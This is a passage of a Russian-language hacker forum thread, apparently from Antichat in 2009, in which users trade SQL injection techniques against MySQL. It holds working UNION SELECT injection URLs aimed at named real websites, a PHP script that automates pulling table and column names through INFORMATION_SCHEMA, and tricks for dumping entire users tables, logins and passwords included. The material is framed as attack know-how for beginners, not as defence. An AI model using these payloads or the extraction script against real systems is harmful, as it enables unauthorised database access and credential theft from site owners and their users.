ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #51  
Старый 09.01.2009, 20:26
Аватар для Imperou$
Imperou$
Познающий
Регистрация: 23.05.2008
Сообщений: 84
Провел на форуме:
192463

Репутация: 97
По умолчанию

jokester
Спасибо конечно за статью, но я только ещё больше запутался...
Цитата:
Сообщение от jokester  
Вывод:
http://presscenter.kz/index.php?show=news&id=-1+union+select+concat(0x3a3a3a3a,Version()),2,3,4, 5,6,7,8,9/*
почему 9 полей и конкатенация 2х запросов (0x3a3a3a3a,Version()) ?
если, как ты писал в статье

+order+by+5/*
Вывод
+order+by+6/*
Unknown column '6' in 'order clause'

а допустим просто Version() или concat(version()) не работает.

Вот непонял я этого...
Можешь тут подробнее, как пришёл к этому, плз ?
 
Ответить с цитированием

  #52  
Старый 09.01.2009, 20:53
Аватар для Jokester
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию

Imperou$ Конкретно эту скуль я взял для примера, первое что попалось, но объяснить конечно могу

Смотри что получается при таком запросе:
http://presscenter.kz/index.php?show=news&id=1+order+by+5/*
Есть нормальный вывод, вот так:
http://presscenter.kz/index.php?show=news&id=1+order+by+6/*
Ошибка
Предполагаем, что полей 5 и пробуем вывод:
http://presscenter.kz/index.php?show=news&id=1+union+select+1,2,3,4,5/*
The used SELECT statements have a different number of columns
Но ордер показывал 5 полей, значит запрос не один.
Можно просто сделать перебор с помощью union+select(до вывода, или каких нибуть изменений), но конкретно в этом случае, есть другой способ
ставим отрицательное значение:
http://presscenter.kz/index.php?show=news&id=-1+order+by+1/*
редирект
http://presscenter.kz/index.php?show=news&id=-1+order+by+10/*
Unknown column '10' in 'order clause'
http://presscenter.kz/index.php?show=news&id=-1+order+by+9/*
редирект
Вот и второй запрос нарисовался )

А concat и 0x3a3a3a3a, это просто вывод хреновый(именно сдесь), и без этого ты не увидишь значение, можешь сюда что хочешь записать, что-бы сместить
 
Ответить с цитированием

  #53  
Старый 10.01.2009, 19:06
Аватар для Grey
Grey
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме:
17668503

Репутация: 5826


По умолчанию

2 jokester вот только ты не учел конструкцию, типа:

Код:
$sql="SELECT page_title, page_autor, page_content, page_date FROM pages WHERE id=$id";
$res=mysql_query($sql) or die();

$sql1="SELECT title, date FROM news WHERE id=$id";
$res1=mysql_query($sql1) or die();

echo(а здесь типа вывод результатов);
В таком случае, если в первом запросе будет ошибка, то второй запрос уже не выполнится пусть даже он и будет правильным, а если выполнится первый, но не выполнится второй, то результат будет таким же - хрен чего увидишь)

Это сильно зависит от конструкции скрипта.
 
Ответить с цитированием

  #54  
Старый 16.01.2009, 01:08
Аватар для hackmen
hackmen
Участник форума
Регистрация: 22.10.2007
Сообщений: 119
Провел на форуме:
598447

Репутация: 123
По умолчанию

ПОмогите разобраться с полезным скриптом на примере данного ниже сайта. Что и как правильно ввести. С меня хоть и небольшой,) но плюс.
http://acad.coloradocollege.edu/dept/en/story.php?id=-47+union+select+1,version(),3,4,5,6,7,8--

PHP код:
<?php
$set
['b']='121212';//Что находится перед выводиомй инфой
$set['e']='212121';//Что находится после выводимой инфы
$set['u']='http://test/news.php?id=';//URL с узвимым параметров В КОНЦЕ(!)
$set['z']='-1 UNION SELECT CONCAT(0x313231323132,TABLE_NAME, 0x2D, COLUMN_NAME, 0x323132313231) FROM INFORMATION_SCHEMA.COLUMNS LIMIT +++counter+++,1/*';//Уязвимый параметр
$set['c']='+++counter+++';//Строка счетчика
$set['f']='0';//Начальное значение счетчика
$set['s']='500';//Конечное значение счетчика
$set['h']='test';//Хост

if(!empty($_GET['b']))$set['b']=$_GET['b'];
if(!empty(
$_GET['e']))$set['e']=$_GET['e'];
if(!empty(
$_GET['u']))$set['u']=$_GET['u'];
if(!empty(
$_GET['z']))$set['z']=$_GET['z'];
if(!empty(
$_GET['c']))$set['c']=$_GET['c'];
if(!empty(
$_GET['f']))$set['f']=$_GET['f'];
if(!empty(
$_GET['s']))$set['s']=$_GET['s'];
if(!empty(
$_GET['h']))$set['h']=$_GET['h'];

for(
$i=$set['f'];$i<=$set['s'];$i++)
{
$zapros=str_replace($set['c'],$i,$set['z']);//Изменияем счетчик в уязвимом параметре

//Создаем пакет
$header="GET ".$set['u'].urlencode($zapros)." HTTP/1.0\r\n";
$header.="Accept-Language: en-us,en;q=0.5\r\n";
$header.="Accept-Charset: utf-8,*;q=0.7\r\n";
$header.="Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,*/*;q=0.5";
$header.="User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.50\r\n";
$header.="Connection: keep-alive\r\n";
$header.="Cookie: PHPSESSID=028df047751bfc9a2ee18204eb2d5595\r\n";
$header.='Cookie2: $Version=1'."\r\n";
$header.="Host: ".$set['h']."\r\n\r\n";

$dt="";
$fp=fsockopen($set['h'], 80);
fwrite($fp$header);
while(!
feof($fp)) $dt.=fread($fp1024);
fclose($fp);

//Вырезаем необходимую инфу
$dt=substr($dt,strpos($dt,$set['b'])+strlen($set['b']));
$dt=substr($dt,0,strpos($dt,$set['e']));

//Выводим инфу на экран
echo($dt."\r\n");
flush();
}

?>
 
Ответить с цитированием

  #55  
Старый 27.01.2009, 21:00
Аватар для [Raz0r]
[Raz0r]
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме:
3244717

Репутация: 1980
Отправить сообщение для [Raz0r] с помощью ICQ
По умолчанию

Использование PROCEDURE ANALYSE() для выявления имен столбцов, таблицы и базы данных в MySQL 3,4,5
http://raz0r.name/obzory/sql-inekcii...edure-analyse/
 
Ответить с цитированием

Возможное решение проблемы трудноподбираемых имен колонок при инъекциях в MySQL 4.1.x
  #56  
Старый 24.02.2009, 08:04
Аватар для cr0w
cr0w
Познающий
Регистрация: 11.09.2008
Сообщений: 99
Провел на форуме:
2753780

Репутация: 585
По умолчанию Возможное решение проблемы трудноподбираемых имен колонок при инъекциях в MySQL 4.1.x

Возможное решение проблемы трудноподбираемых имен колонок при инъекциях в MySQL => 4.1.0

Вроде, описания подобного трюка тут еще небыло...

Допустим, имеется SQL-инъекция:
Код:
?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13+from+users
Имеется вывод нескольких полей. И при этом, никак не получается подобрать имена колонок таблицы users. Как решить эту проблему?

На самом деле, при написании запроса писать названия столбцов не обязательно - ведь можно вывести их все с помощью знака "*".
Тут возникает необходимое условие: количество столбцов, которое извлекает запрос, в который мы вндряем инъекцию, должно быть больше или равно общему количеству столбцов в таблице users.
Например, пусть в users 8 столбцов. Тогда нам необходимо дополнить их еще пятью, чтоб не было ошибки "different number of columns". Сделать это можно, например, так:
Код:
?id=-1+union+select+*+from+users,(select+1,2,3,4,5)x
Т.е. 8 столбцов таблицы users будут дополнены пятью из таблицы x.
Обычно, далеко не все получаемые запросом поля выводятся, поэтому не факт, что нам выведется именно нужная полезная информация (логин, пасс) из users. Но мы можем сделать в данном случае еще ряд запросов, чтоб попробовать все-таки получить нужную инфу:
Код:
?id=-1+union+select+*+from+(select+1)y,users,(select+1,2,3,4)x
?id=-1+union+select+*+from+(select+1,2)y,users,(select+1,2,3)x
?id=-1+union+select+*+from+(select+1,2,3)y,users,(select+1,2)x
?id=-1+union+select+*+from+(select+1,2,3,4)y,users,(select+1)x
?id=-1+union+select+*+from+(select+1,2,3,4,5)x,users

Последний раз редактировалось cr0w; 25.02.2009 в 17:06.. Причина: грамматика (:
 
Ответить с цитированием

  #57  
Старый 25.02.2009, 14:40
Аватар для Jokester
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию

Всё же статья для новичков, поэтому счёл своим долгом поправить cr0w, а то материал как-то странно подан
Цитата:
Сообщение от cr0w  
Имеется вывод нескольких полей
Это зачем?
Цитата:
Сообщение от cr0w  
Обычно, далеко не все получаемые запросом поля выводятся, поэтому не факт, что нам выведется именно нужная полезная информация
А это почему? Зависит от расположения меркурия в венере?

=======================================

Вот вывод ВСЕЙ информации из users в которой 5 полей, через ОДНО принтабельное поле.

Допустим: инъекция, 14 полей , вывод в 6. Поехали:

?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14

Подбираем количество полей в users:
?id=-1+union+select+*+from+users,(select+1)a
?id=-1+union+select+*+from+users,(select+1,2)a
?id=-1+union+select+*+from+users,(select+1,2,3)a
.....
?id=-1+union+select+*+from+users,(select+1,2,3,4,5,6,7, 8,9)a

Есть

У нас получилось искомые 14 полей - 9 из таблицы "а", значит в users полей 5
Выводим. Принтабельное поле 6 значит под него нужно подгонять вывод.
?id=-1+union+select+*+from+(select+1,2,3,4,5)b,users,(s elect+1,2,3,4)a
Вывод 1-го поля из таблицы users. Тоесть фактически выбираем из 3 таблиц "b","users" и "a". Первые 5 полей в которых нет вывода забиваем таблицей "b", затем в принтабельное 6 поле выводим 1-е поле из users , далее идут остальные 4 поля users и наконец, что-бы добить до 14 , 4 поля из "a".
Далее, 2-е поле из users. Смещаем:
?id=-1+union+select+*+from+(select+1,2,3,4)b,users,(sel ect+1,2,3,4,5)a
3-е поле
?id=-1+union+select+*+from+(select+1,2,3)b,users,(selec t+1,2,3,4,5,6)a
4-е и 5-е
?id=-1+union+select+*+from+(select+1,2)b,users,(select+ 1,2,3,4,5,6,7)a
?id=-1+union+select+*+from+(select+1)b,users,(select+1, 2,3,4,5,6,7,8)a


Вот как это выглядит наглядно:
Цитата:
1 2 3 4 5 | 6 7 8 9 0 | 11 12 13 14
( "b" ) |users 5 столбцов| ("a")
<= и двигаем users туда сюда =>
Ну и другой пример, с принтабельными двумя и невозможностью вывода всей инфы этим способом.

Допустим : те-же 14 полей, та-же users c 5 полями, но вывод в 1 и 14
?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14
Сдесь мы сможем вывести только 1-е и 5-е поле из users. Тоесть:
?id=-1+union+select+*+from+users,(select+1,2,3,4,5,6,7, 8,9)a
первое, и дальше мы её не сдвинем, и последнее:
?id=-1+union+select+*+from+(select+1,2,3,4,5,6,7,8,9)a, users

Выводы:
что-бы воспользоваться этим способом, нам не нужно несколько принтабельных полей, достаточно одного, но удачно расположенного и тогда возможно вывести все данные из интересующей таблицы. Зависимость этого метода от количества полей в запросе, количества полей в выводимой таблице и расположения принтабельного поля

PS Я тут не рассматривал варианты с выводом в цикле и другую экзотику, просто поправил и надеюсь более доступно довёл только ту информацию которую предоставил cr0w
 
Ответить с цитированием

  #58  
Старый 25.02.2009, 17:03
Аватар для cr0w
cr0w
Познающий
Регистрация: 11.09.2008
Сообщений: 99
Провел на форуме:
2753780

Репутация: 585
Smile

Цитата:
Сообщение от jokester  
Всё же статья для новичков, поэтому счёл своим долгом поправить cr0w, а то материал как-то странно подан
Ну чтож, привыкайте к такой "странной" подаче материалов от меня. (:

И да, как мне справедливо заметили уже, это будет работать в версиях => 4.1.х. Кто придумает аналогичный способ для 4.0.х, тому - большой хенкерный респект. (:
 
Ответить с цитированием

  #59  
Старый 25.02.2009, 19:52
Аватар для l1ght
l1ght
Reservists Of Antichat - Level 6
Регистрация: 05.12.2006
Сообщений: 195
Провел на форуме:
14023893

Репутация: 2163
По умолчанию

Цитата:
Кто придумает аналогичный способ для 4.0.х, тому - большой хенкерный респект. (:
можно обойтись и без подзапросов,
1=2 union select *,2,3,4,5,6,7,8 from users
=>4.0

Последний раз редактировалось l1ght; 25.02.2009 в 20:03..
 
Ответить с цитированием

  #60  
Старый 25.02.2009, 22:56
Аватар для cr0w
cr0w
Познающий
Регистрация: 11.09.2008
Сообщений: 99
Провел на форуме:
2753780

Репутация: 585
По умолчанию

Цитата:
Сообщение от l1ght  
можно обойтись и без подзапросов,
1=2 union select *,2,3,4,5,6,7,8 from users
=>4.0
Да, можно и так, но тут уже нет возможности поперемещать выводимые даные, поэтому способ не совсем аналогичный по своим возможностям (и вообще, это старый боян). Поэтому вам достается пока только маленький хенкерный респект. (:

Последний раз редактировалось cr0w; 25.02.2009 в 23:08..
 
Ответить с цитированием
Ответ


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
SQL Injection: Modes of Attack, Defence, and Why It Matters bxN5 Forum for discussion of ANTICHAT 1 09.04.2007 19:07
SQL Injection FAQ bx_N Forum for discussion of ANTICHAT 2 08.03.2007 18:48
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



TEST QR: []
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ